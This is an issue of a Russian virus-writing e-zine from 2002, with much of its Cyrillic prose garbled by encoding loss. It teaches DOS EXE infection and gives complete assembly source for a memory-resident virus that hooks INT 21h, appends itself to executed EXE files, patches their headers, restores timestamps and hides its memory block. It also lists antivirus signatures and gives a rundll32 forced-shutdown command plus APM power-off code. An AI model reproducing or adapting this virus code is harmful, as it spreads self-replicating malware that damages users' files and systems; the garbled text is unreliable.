
                      -=POWER HEAP RESEARCH=-
          =>ᨬ p y ᫥<=

              
                                          
                                  
                                          
                         

                            
                                    
                         
                                       
                             
                       Helloween.virus@mail.ru

                        [H  ]

                    Ŀ
                     Hp 2  2002 (p 7) 
                    


                       "y y饭   ,  y騩
                        ᬥp. p 饥 y y  
                        p    ᮦ       p,
                        pp⨢   . H py  ⠭y
                        ⥭ ".

                                     襫 Hpy, 1959.

 p ᥬ!

  Hy    yp?  y  ᥤ쬮 y. H,  
y ᫥.   墠     y  p.  쪮
⠩ 뢠  ,   p室,  ⮣  ᠦy   -
 p.
  y   p ᮮ,       ᠫ  Helloween
Virus Generator 13.00.   y -  ᥪp.    ⮬  
ᮮy  쬮 p yp.  ᮧ  HVG  FAQ,  p
 y p  . H  ⮬,  ᥩ...

                                              Helloween

                         ࠧ EXE 䠩?

  ⢥    - ୮, ᮭ ()   祩 :)
ਭ樯쭮, ࠦ  䠩 - ਯ뢠    ⥫
  䨪  ⥫ ᭮ ணࠬ ⠪ ࠧ,
⮡ ᯥࢠ 믮 ,   । ࠢ  -
 ணࠬ-⥫. ᮡ ࠦ COM  EXE 䠩 -
 ⮫쪮 ⮤ 䨪樨 ᭮ ணࠬ.    COM
䠩  ஢  ᪮쪮  䠩, ..  
ᯮ , ⠢ 㤠 - த jmp  call.    EXE
䠩  ᪮쪮 ᫮. 饨⭮  EXE 䠩  ⫨砥-
  COM 䠩 ⥬  ⮨   ⥩ -  ,  -
ঠ饣 ࠢ ଠ  㧪  ᠬ  㦠-
  - ணࠬ. ணࠬ 㦠    ,  ⥬
ந ன ᮢ  ᮮ⢥⢨  H, ⮬  -
  祭 SS:SP  CS:IP.  ES  DS   ᥣ-
  PSP. ⥫쭮, ⮡ ࠧ EXE 䠩  -
 ஢  ,  ⥬ ਯ  䠩.  
  - ᯥࢠ ਯ  ⮬ 㦥  ,
    . :)   砥 祣  䠩 릨.

       ᬮਬ   EXE 䠩.
Ŀ
饭      ঠ                 ਩            
 ⭮.                                                         
 砫                                                         
 (hex)                                                          
Ĵ
  00-01  4D5A -  騪  ⮨  ஢ ⮡  
                (ਧ EXE 䠩)    ࢠ  ᪨-  
                                      ஢ COM              
Ĵ
  02-03   ᫥          ஢  
                                       -  塞 ࠧ!   
Ĵ
          䠩    512                            
  04-05                           筮 ।饬    
Ĵ
  06-07  ⢮ ⮢ ⠡  ⠭⭮ ᯮᮡ   
         ன ᮢ            ࠦ  ᭮    
         (Relocation table)                                     
Ĵ
 08-09                 筮 ।饬    
         ࠣ                                             
Ĵ
 0A-0B    ꥬ      H              
           뤥 ᫥                            
          ணࠬ                                        
         (  ࠣ)                                        
Ĵ
 0C-0D   ᨬ ꥬ     H ண                
             -------##--------                                  
Ĵ
 0E-0F     ⥪       易⥫쭮           
         ⭮⥫쭮 砫 ண-    ஢            
         ࠬ (SS)                                             
Ĵ
 10-11   祭 SP  ᪥      筮 ।饬    
Ĵ
 12-13   ஫쭠 㬬 - १-  H䨣  㦭, ࠪ-
          ᫮  ७      ᯮ        
          ᫮ 䠩                                        
Ĵ
 14-15   祭 IP                  No comment ;)))           
Ĵ    ⥫ 㢨?  
 16-17   祭 CS                                            
Ĵ
 18-19    ࢮ  H    ⠭⭮ ࠦ 
                                      䨣  㦥            
Ĵ
 1A-1B   H ᥣ ४    ᯮ ૥ﬨ,   
                                                    


    ᮡ⢥ Relocation Table, ⥬  ⥫  ணࠬ.
 ⠭⭮ ᯮᮡ ࠦ 䠩 ( ⥫    -
 䠩)     ५襭 -  襬   -
 䠩, 㤠 ५襭  㪠뢠.       
।   㤥   H ஥ (   ᪠-
  :))) ) . H  ⠭⭮  ࠦ  -  
㣠 , ⠪         ३-
 ।⢥  . ⠪, ⠭⭮ ࠦ EXE  䠩
 㭪⠬:

    1) H 㦭 䠩.    ᤥ  ࠧ,  
       १⭮    㭪 ࠡ  䠩, 
       १  FindFirst, FindNext.
    2)  䠩. ஢  稥     ⮬  䠩.
            ᯥ樠쭮  ⪥/ᨣ,    
       譨 ਧ (६, , ਡ,   -
        ᥣ). ᫨   -  ண 䠩  -  祬  
        ன ࠧ,  楫祪 ! :)
    3)     䠩.
    4) ஢  ᮮ⢥⢨ ⨯ - ७  ,  뢠
       ,    ७  .EXE,    ᠬ    ⨯
       COM'.   ᨣ 'MZ'  砫  譨-
       .
    5) ஢   ૥ - ।    ৪
       䠩 娫 ,      楫,
        ⮫쪮 筮.  । 室   
       䠩,    512  ࠢ  稭    -
       .  砥 ᮢ  ⮫㫨   ૥  
         ࠦ  ⠭ ᯮᮡ.
    6) ஢ , ।⥫쭮 ࠭   
          ६  ⥫ .    ᯮᮡ:
        ࠢ  ࠭ ࠣ   . H筥 
       砫. ஡:  祭 ᥣ ᮢ  -
       室   䠩  , ஢     -
       ࠣ,   10h      ࠣ-
        - 稬   . IP  ⮬ 砥  ࠢ  0000h.
       SP ⠢  । ⥫     ,  -
        0FFFFh,  virlen+100h,   㤠.    -
       ஢  䠩  , ⥬  㬬  
        512 - 砥 祭  ᮢ 02,04   .
       ᮡ  ࠢ  䠩  ࠣ  ⫨砥-
         ⥬,  室   IP,  ⠪  ⫨
        ⥫ ,  ࠡ  䠩  ᪥.
    7)   䠩 ⥫ 
    8)   䠩 ஢ .
    9)  䠩 䨣.

  祢,    䠩 .   ᮤঠ  
ᥡ , ⢥⢥   ணࠬ-⥫.  -
-    䠩 ᯮ⨫    䨣. :(
  祭 .    । ।祩 ࠢ  -
 ணࠬ  ⠪  -  (ࠦ 
१, ⠫    १ ᮢ). ⠪,
 ⨬ । ࠢ.   ⮣  ᤥ?  ०
ᥣ ந  ᥣ  ⥪ ⠪   룫拉  -
 㧪 ଠ쭮 ࠦ ணࠬ. ⥬ ।  -
ࠢ   窨 室 䠩.  ਭ樯 ࠨ  
 - ES  , , DS,   㦥  浪 -   ⮫쪮
  ᠬ 砫  ⮬ ᯮ   ஡  -  -
 SS:SP. H.  .  SP    -  -
६      ࠭  ࠦ.  CS   SS  -
쪮 ᫮ -  ࠭  祭    ਡ  
PSP+10h. 祬 ⠪?  ⮬     祭 -
⥫쭮 砫 䠩,  砫 ᫥ 㧪 ? H, -
  !    PSP+10h!    䫥! :))) -
ࠢ  ன  । ࠢ.  H  ⮩
 -   ⥪ CS:IP  ᪠ RETF.     .
쪮   -  ᯥࢠ ந ⥪  㦥 ⮬  㤠
- ᮢ.    㤠 , 祬  . :( ᫨
 㬠  ⥪  ⮬  ࠭  -    jmp
far ⮦ ࠡ⠥ , ...   !   ,  
 !  १  ᮢ  -祭    ࠭
DTA,    PSP  ᬥ饭 80h.   -  -
 ⠥ ᫥   Find'. :)))   㤥 祭
⭮... H , 墠 ⥮਩. ।⠢  EXE.TSR.Virus  -
ਢ,     ᪠?   ஢,  ஢,
ᯫᨭ, ⥫ᮢ,      - ⠬ ...
:(((((  䨣. H ᪫祭 ,   ⮫    ⫠-
, 㦥 ⮣    ⪮ ,  ⮡   ⪮-
஢  ⨫   ࠧ  ६ 祬  ⮡    -
. ;) 祬     - .  :)  H室  
 ⨪ -  祣   -      ਬ!  :)
 ਬ ᮡ⢥ ॠ    ᯮᮡ:
   ࠢ  ࠭ ࠣ, १ १  樨
 MCB, ᪨    DOS.
   ⠪    ஥  ࠧࠧ  
१⭮ . H 饭    -
 १⮬ १ ⠭ 㭪 DOS 31h/int  21h  -  
INT 27h. -           ⠪  㦥  
...   ⮬ ⮤  稫. :) H     ⭮
 ᯮ, ⮬...  饬 ⠪ - ᫨     -
   ⥪饩 ண    , ஬  쭮
室   ࠭⢠. ⥬    ᥣ⭮  
㦥  ᪠  ᪠ 䠩,     䠩
१ 4Bh/INT 21h. 筮 ᯥࢠ        稨
 ࠬ஢   ᪠...        !  H  ,
㪠... :)

        , ᪨,  筮  :

        PCB    dw 0       ; ᥣ  । ????   筮... :(
               dw 80h     ;| 㪠⥫   ப
        PSP_1  DW ?       ;|

               DW 5CH     ;| 㪠⥫   FCB
        PSP_2  DW ?       ;|

               DW 6CH     ;| 㪠⥫  ன FCB
        PSP_3  DW ?       ;|

           ਬ୮ 룫廊 祪  -  筮  :

        mov ah,4ah      ;  ࠧ  ணࠬ
        mov bx,virlen   ; ०  ⠪ ⮡
        add bx,bx       ; ⮪  墠⨫ ⮡
        mov cl,4        ;   ૨
        shr bx,cl       ; ப
        add bx,200h     ;
        int 21h         ;

;---   ணࠬ -  ਣ---
        mov es,es:[2ch] ; 稬  environment
        xor di,di       ;  ⥯ 㤭
        xor ax,ax       ;   ⮬ ᠬ
        mov cx,0ffffh   ; .
get_it: repne scasb     ;    ᥣ 
        cmp al,es:[di]  ;  ᫥騩 ᨬ ⮦ ?
        loopnz get_it   ; ᫨     ६
        add di,3        ;  , 諨
;----    es:[di] 㪠⥫    ----

        mov run_dx,di   ;   
        mov run_ds,es   ; 諨
        push cs
        pop es
        mov ax,4b00h    ;  ⥯
        mov bx,offset pcb       ;  ⨬
        lds dx,dword ptr cs:run_dx      ;   
        int 21h         ;  ⠬ 諨
        mov ah,4dh      ; 稬  襭
        int 21h         ;
        mov ah,31h      ; ⠭ १⭮
        mov dx,virlen   ;
        add dx,dx       ;
        mov cl,4        ;
        shr dx,4        ;
        add dx,0e0h     ;
        int 21h         ;

        ⢥  pcb  㦥    ஥  ०  -
         ... H     ⮨  ஡  -
        ᬠਢ ணࠬ ᪠   ENVIRONMENT? H-
         ⮨   -  । 뢠 㦭. ⠪,   
        ⠪ environment -  㦥 DOS  䨣   㦥?
         祭  㦥!  ⠬  ࠭      PATH,
        PROMPT, COMSPEC,  稩 㦭  嫠 -  ६-
        ! ଠ ⮣   ⮩,  祭 ⮩:

    ६1=- ⠬,0  z.B. AKA f.e. ;): 'COMSPEC=C:\COMMAND.COM',0
    ६2=- ,0
     ........
    ६N= 䨣,0,0
                         ~~~~ ᮡ⢥   2   
                              楤ઠ
         ⨬ ﬨ  ᬥ饭 3  H -    -
        饭 䠩!    㬠  ⠫ ⭮. -
              砩  ਢ  ਬ஬  ⠪   ६
        COMSPEC. H  㦥   ⥬... ᭮,     
        祬  ? ࠢ쭮, ᭮  !  ᮡ  ࠦ
           権  MCB ᥬ ,    
           ⮪.     DRWEB  -
         ,  ⮫쪮    ⤥쭮  騩  
          ,   ⮬    㪠뢠  -
        -ன ஢ (    ).  ⮣  
         讣 㤠 ,   墠 ஢  
         뤥 ᥡ ,  쪮  PSP  -  䨪
        ணࠬ ᥣ.  ⭮   PSP,   ⮫쪮
          . ⠪   ⠪ PSP?   :

     Ŀ
      饭   ᠭ                                       
     Ĵ
         00      H 㭪樨   襭 20h            
     Ĵ
         02       ॡ㥬   ࠣ           
     Ĵ
         04                                               
     Ĵ
         05      맮 ᯥ  ⨯ far                   
     Ĵ
         0A       襭                               
     Ĵ
         0E       ࠡ稪 CTRL/BREAK                   
     Ĵ
         12       ࠡ稪 ᪨ 訡           
     Ĵ
         16                                               
     Ĵ
         2C        㦥  - environment   
     Ĵ
         2E                                               
     Ĵ
         5Ch     FCB 1                                          
     Ĵ
         6Ch     FCB 2                                          
     Ĵ
         80h     DTA                                            
     
          ஡ ᠭ  PSP    -
        .      ⮨    ᮡ  .
        -   ࠧ  (ᬥ饭  02h)  -  
         㬥.     ,      易⥫쭮
        ਢ   ᫥⢨,    ⥫쭮,
        ⥬   ᮢᥬ 㤭.      -
          ࠣ+  ࠣ䮢      直
        砩. ⥬    0ah -   襭.
         㪠뢠 㤠  ᫥ 襭 ணࠬ.  -
         㪠뢠   ࠡ稪  ⮣ .

        mov ax,cs:[psp_1]       ;  PSP  AX
        mov ds,ax               ;  ⥯  DS
        mov ax,ds:[2]           ;  AX ࠧ 뤥 
        sub ax,virlen/16+1      ;     +1
        sub ax,5h               ;    直 砩
        mov ds:[2],ax           ;    稫  PSP
        mov es,ax               ;      ᥣ
        ;----------------
        mov ax,ds:[0ah]         ;   襭
        mov cs:[end_ip],ax      ;  PSP  ES: ࠡ稪
        mov ax,ds:[0ch]         ; H 㤥 ⠪ 
        mov cs:[end_cs],ax      ; ࠭ 
        mov ax,offset downmem   ; , ⮡  
        mov ds:[0ah],ax         ;  
        mov ax,es               ;
        mov ds:[0ch],ax         ;
        ;----------------
        ;  楤 ஢   ᥣ


           ᤥ  ணࠬ  DOWNMEM?    
        ᮢᥬ. ᥣ  뤥        ᪮-
            .  ⠪ ⠭ ࠡ稪  21
           - ⮣  뫮  ࠭    ᭮-
         ணࠬ     稭.    
        ᪨஢, ⨢ MCB.  ... ਬ  ࣠-
        樨 ⠪  ࠡ稪:

downmem proc near
        mov ax,virlen           ; 뤥 ᥡ ᥣ
        add ax,100h             ;  ⮬ ਬ  ᤥ
        mov cl,4                ; 祭 ᨢ,
        shr ax,cl               ;  䨣 -   ਬ
        mov bx,ax               ;
        mov ax,4800h            ;
        int 21h                 ; ᫨  ,
        jc down_err             ; ⤠ ࠢ  ஬ 
        mov es,ax               ; ॥   ᥣ
        push cs                 ;
        pop ds                  ;
        lea si,virus            ;
        mov di,si               ;
        mov cx,virlen           ;
        cld                     ;
        rep movsb               ;
        push es                 ;
        lea di,down_cont        ;
        push di                 ;
        retf                    ; । ࠢ ᥡ    :)
down_cont:                      ;
        call tsr                ; 墠 뢠 (ᠬ )
        mov ax,cs               ;                           ;)
        dec ax                  ;        
        mov es,ax               ;            MCB
        mov word ptr es:[1],0070h   ;           ⮡  宦  DOS
down_err:                       ;
        jmp dword ptr cs:[end_ip]   ; ⤠ ࠢ  ஬ 
end_ip  dw ?                    ; ᮡ⢥   
end_cs  dw ?                    ;    :)
downmem endp

         ᯮᮡ ࠦ  筮 , ... -
         ᥣ , ਬ  砥  -
         ணࠬ 뢠 ࠦ.   ਬ  -
        ᨭ .  筮 ⭮,    -
        砥  - ॢ ...  :)  H    
        ᮢᥬ  㦥 ,  ⮬  ᢥ⠥, ⠪    -
          :)

         ⥩訩 EXE.TSR.VIRUS :
        .286
        .model small
        .code
      org 0
start:
       call begin               ; 夥  ?   ᠬ    ᥣ!
begin: pop bp                   ;  ᬥ饭?
       sub bp,offset begin      ; !  ⥯ BP 㪠뢠  砫 
       mov ax,4bddh             ;  㦥  ?
       int 21h
       cmp ax,0dd4bh
       jz we_are_there          ;   ! :)
install_to_memory:              ;   ... :(
        push ds                 ; **⠬ PSP** :)
        mov ah,4ah              ; ஡㥬 뤥 ⥪饩 ண 0FFFFh
        mov bx,0ffffh           ; ࠣ䮢.    ,   !
        int 21h                 ; 稬  BX ᨬ ࠧ 
        sub bx,(virlen+2)/16+3h  ; ⥬   ᢮ .
        mov ah,4ah              ;  ० - .
        int 21h
        mov ah,48h              ;  ⥯ ᥡ 뤥 .
        mov bx,(virlen+2)/16+2h
        int 21h
        push cs                 ; CS=
        pop ds                  ;    DS ;)))))
        mov es,ax               ;    㤥 .
        lea si,start            ; ⮢  ॥  ds:start
        add si,bp               ;
        xor di,di               ;  es:0
        mov cx,virlen+3         ;     :)
        rep movsb               ; ॥!
        push es
        lea di,cnt_in_other_seg ; த  ES: 
        push di
        retf                    ; ᮡ᭮ । ࠢ
cnt_in_other_seg:
        push cs
        pop ds
        push es
        mov ax,3521h
        int 21h                 ;  ⠬  ?
        mov old21,bx            ; ਯ  ! :)
        mov old21s,es
        lea dx,res_part         ;  ᠬ ⥯ 㫨.
        mov ax,2521h
        int 21h                 ;  . :)
        xor bp,bp               ;  ⮡   -   㦥
        pop es                  ;   ᬥ饭 -   0000 ஢
        mov ax,es               ; - 稬
        dec ax                  ;                让 MCB
        mov es,ax
        mov word ptr es:[1],0070h       ;   ,  ! :)
        cmp sign,5555h          ; H   . :(  㬠 뫮.
        jnz run_exe
        pop ds
        mov ax,4c00h            ; ࠢ ᬥ譮? :)))))
        int 21h
run_exe:                        ; ⨬ ணࠬ-⥫
        pop ds                  ;  ⠬  PSP ࠭﫨
        push ds
        pop es
we_are_there:
        mov ax,es
        add ax,10h
        add cs:[exe_ss+bp],ax   ; ன ᥣ⮢
        add cs:[exe_cs+bp],ax   ;
        cli                     ; ⮡ 祣  諮
        mov ss,cs:[exe_ss+bp]   ; ⥪  ...
        mov sp,cs:[exe_sp+bp]   ;     INT 1Ch ਡ...
        sti                     ;    ⮬ 뢠.
        push cs:[exe_cs+bp]     ;  ⥪ 㭥  室
        push cs:[exe_ip+bp]     ;
        xor bp,bp
        retf                    ;   ਩ 㦮?! :)
res_part:
        pushf                   ; 檠 ਢ窠 :)
        cmp ax,4b00h            ; - 믮?
        jz rulez                ; ...
        cmp ax,4bddh            ;   ?
        jz i_am                 ;  ⢥
        jmp old_int_call        ;    ॢ
i_am:   xchg al,ah              ; ⢥砥     -  !
        popf                    ;
        iret                    ;
rulez:                          ;  ⠬  ?
        pusha                   ; ᫨ ⮣  ᤥ, 㤥 ᬥ譮 :)
        push ds
        push es
;------------------------
try_to_infect:
        push ds                 ;      믮
        pop es                  ;       ⠥
        mov di,dx               ; 㢠    ᠫ
        mov al,'.'              ; 直 ⠬ .COM, .PRG,   
        mov cx,50h              ;  ... :(
        repne scasb             ;  ᫨  ਣ廊  㢨 
        mov ax,[di]             ;  ஢ ७   3   2 ⠬
        or ax,2020h             ; ⠪   .     
        cmp ax,'xe'             ;  ஢塞 믮騩 䠩   
                                ; H ࠦ ⠪  ⨨   ⮨.
                                ;      - *.EXT ࢠ
                                ;   祣 㦥. :(
        jnz close_it1
        mov ax,3d02h            ; ஥    ७ EXE
        int 21h
        jnc go_on
        jmp continue            ;  訡窠 諠
go_on:                          ;  த...
        push cs
        pop ds
        mov bx,ax               ; ਯ  BX
        lea dx,buffer           ;   㤥.
        mov ah,3fh
        mov cx,18h              ;  楫 18h 
        int 21h                 ; ⠥ 
        cmp word ptr [buffer],'ZM'      ;      竨?
        jnz close_it1           ; suxxx -.  ७ 뫮 ᨢ.
        mov ax,4202h            ; ⠭   :)  ⤠ ...
        xor cx,cx
        xor dx,dx
        int 21h
        mov flen_l,ax           ;    ਣ
        mov flen_h,dx
        sub ax,2                ; ⥬   2
        sbb dx,0
        mov cx,dx
        mov dx,ax
        mov ax,4200h
        int 21h                 ;  ⠭  2    :)
        lea dx,sign             ; ⠥   אַ 
        mov ah,3fh              ;
        mov cx,2                ;
        int 21h                 ;
        cmp sign,'BV'           ;     ⠬ ?
        jz close_it1            ;  த! :)
        lea di,buffer           ; 廊 ⥫쭥  䠩
        mov ax,flen_l
        mov dx,flen_h
        mov cx,200h             ; ᫥ ⠪  :)  AX  䠩
        div cx                  ;    512 
        cmp ax,[di+4]           ; ࠢ   ⥬   
        ja close_it1            ;   ! #$%@$%#@!$%^@@@!!!!!!!
        jmp infect              ;  ! ;)
close_it1:
        jmp close_it            ;   @#$... ;(
infect:
        mov ax,5700h
        int 21h
        mov old_date,dx
        mov old_time,cx
        mov ax,[di+0eh]         ; ࠭    ਣ
        mov exe_ss,ax           ;  쭥襩 
        mov ax,[di+10h]         ;
        mov exe_sp,ax           ;
        mov ax,[di+14h]         ;
        mov exe_ip,ax           ;
        mov ax,[di+16h]         ;
        mov exe_cs,ax           ;
        mov ax,flen_l           ;   稬   䠩 
        mov dx,flen_h           ; ࠣ
        mov cx,10h              ;
        div cx                  ; ᫨  ⮣   
        sub ax,[di+8]           ; ,   ᮩ  ᬥ饭
        mov [di+16h],ax         ; CS
        mov [di+14h],dx         ;  ⮪   ﭥ  IP
        mov [di+0eh],ax         ; SS
        mov word ptr [di+10h],virlen+100h    ; SP -   + 100h
        mov cx,virlen           ;    䠩  
        mov ax,flen_l           ;
        mov dx,flen_h           ;
        add ax,cx               ;
        adc dx,0                ;   砩 ९ - 类 뢠
        mov cx,200h             ;    諮  512
        div cx                  ;
        or dx,dx                ; ⮪   0?
        jz get_new              ; , . :) ॥ ᮫   .
        inc ax                  ;  , 㢥稬 ⭮
get_new:
        mov [di+4],ax           ;   䠩  
        mov [di+2],dx           ;   ᫥   

;        mov ax,4200h            ; ᭮   ⠭
;        mov dx,flen_l           ;    稬
;        mov cx,flen_h           ; ⥭樥 :((( ⮯祬...
;        int 21h                 ; 㬠  㦥 﫨 祬  
                             ; ஢? ;))))) ᫨ ,  
                             ;   뫨   ⠢  2  
                             ; ?    ⮬ ⠫  2 
                             ;  ਬ୮  ᤥ 2 蠣 । :)
                             ;  㯨 :)

        mov cx,virlen           ; 襬 ᥡ ᥣ 㤠
        mov ah,40h
        lea dx,start            ;     (ਥ - ஢ :))) )
        int 21h
        mov ax,4200h            ;  ⥯  砫
        xor cx,cx
        xor dx,dx
        int 21h
        mov ah,40h            ; 襬 
        mov dx,di             ;  DI    㪠⥫쭠  -  뫨?
        mov cx,18h            ;  18h  襬
        int 21h
        mov ax,5701h
        mov cx,old_time
        mov dx,old_date
        int 21h
close_it:
        mov ah,3eh              ; ᢮稢
        int 21h
;------------------------
continue:
        pop es
        pop ds                 ; ਪ 諠
        popa                    ;  祣  , ॣ  﫨.
old_int_call:
        popf                    ;    
        jmp dword ptr cs:[old21]        ; 堩 ⥯ 㣨 ࠡ

data_block:
buffer      db 18h dup ('0')    ;   㤥  ࠧ뢠
old21       dw 0                ;     ⮣    㫨
old21s      dw 0                ; 直
exe_sp      dw 0                ; 㦭
exe_ss      dw 0                ; 
exe_ip      dw 0                ;
exe_cs      dw 0                ;
flen_l      dw 0                ;   ...
flen_h      dw 0                ;  ...
old_date    dw 0
old_time    dw 0
chkvir      db 'VB'             ; ⮢ ⪠
virlen      equ $-start         ;   ⮡    뫮 
                                ; ணࠬ஢ -  offset chkvir

sign        dw 5555h            ; ਧ ⠫樮. , @#$! :(
                                ;     ਤ㬠  4 ?!
            end

                                                     VB


                      H -  ?


    y    y    p諠    .     ᫨
pyy/p/py  p 䠩 ᮢ뢠  ᨣyp  -
 pyᮢ ?  p ⨢py  pp頥    ⮪
pyp,  p p   py    pp.  H
p p ᨣyp :

Einstein virus
EXE
0042CD217231B96E0333D2B440CD2172193BC17515B80042
;
Phoenix 927 virus
COM
E800005E81C6????BF0001B90400F3A4E8
;
Spanz virus
COM
E800005E81EE????8D94????B41ACD21C784
;
Necropolis virus
COM EXE
50FCAD33C2AB8BD0E2F8
;
Trivial-25 virus
COM
B44EFEC6CD21B8??3DBA??00CD2193B440CD
;
Trivial-46 virus
COM
B44EB120BA????CD21BA????B80?3DCD21%2BA0001%4B440CD
;
SK virus
COM
CD20B80300CD1051E800005E83EE09
;
VCL (encrypted) virus
COM
01B9????8134????4646E2F8C3
;
VCL virus
COM
ACB90080F2AEB90400ACAE75??E2FA89
;
Sonik Youth virus
EXE
8A1602008A0732C2880743FEC281FB????7?
;
MTE Virus (non-encrypted)
COM EXE
F7D980E1FE7502494997A3????03C124FE750248
;
GRUNT-1 Family Virus
COM
01B9??003117
;
GRUNT-2 Family Virus
COM
48E2F7C3515352E8DDFF5A5B59C3B90000E2FEC3
;
GRUNT-4 Family Virus
COM
E81C008D9E4101403E8B961403B9EA0087DBF7D0311783C302E2F7C3
;
Igor Virus
COM
1EB8CD7BCD2181FBCD7B7503E9870033DB0E1F8C
;
ACME Virus (Clonewar Mutant)
COM EXE
FCAD3DFFFF7420E6428AC4E642E4610C03E661ADB9401FE2FE
;
ARCV-4 Virus
COM EXE
E800005D81ED060181FC4F50740B8DB68601BF000157A4EB111E06
;
August 16th (Iron Maiden)
COM
BA790203D7B41ACD21B82435CD215F57899D4E028C855002
;
Kuku-448 virus
COM
AE75EDE2F8893E????BA????0E07BF????EB
;
Slowload virus
COM
03D6B440CD21B8024233D233C9CD218BD6B97801
;
Danish tiny virus
COM
33C9B44ECD217302FF??BA??00B8??3DCD21
;
Haryanto virus
COM
81EB2A018B0F1E5B03CB0E51B9100151CB
;
SYP
COM
478BC2051E00528BD0B8023DCD218BD85A

 Help !!!

   ,  pp   Dr. Web  AVP ?  뫮 
ᮧ p᪨ , y⮦騥 Windows  p.  !!!


                      H  

  ⮣ p 믮 y ( ⮫쪮  Windows) :

     rundll32.exe shell32.dll,SHExitWindowsEx n

 n -   ᫥ 祭:

  0 - LOGOFF. 蠥  饭   ந  -
 ⥪饣 짮⥫  ⥬.
  1 - SHUTDOWN. 蠥 ࠡ ⥬    몫-
 ⠭.  室騥        뢠  
.  饭  ⠭.
  2 - REBOOT. १㦠 .
  4 - FORCE. ஥ 襭 ࠡ ⥪饣 짮⥫. 
ᯮ짮  , Windows    ନ  饭
ਫ  襭 ࠡ,     . -
,   㦭 ᯮ짮 ஦.
  8 -  POWEROFF. 襭 ࠡ Windows  몫祭  ⠭.
 ᯮ짮 ⮣    ⥬    ন
 ⮬᪮ 몫祭 ⠭.

    ,  pppy  ᬥ :

        model tiny
.code
        org   100h
start:
        mov   ax,05301h
        sub   bx,bx
        int   15h
        jb    l0120
        mov   ax,0530Eh
        sub   bx,bx
        mov   cx,00102h
        int   15h
        jb    l0120
        mov   ax,05307h
        mov   bx,00001h
        mov   cx,00003h
        int   15h
l0120:  int   20h
        ret
        end   start

    p  p/py/p  몫  p
 y y :)

                                      Helloween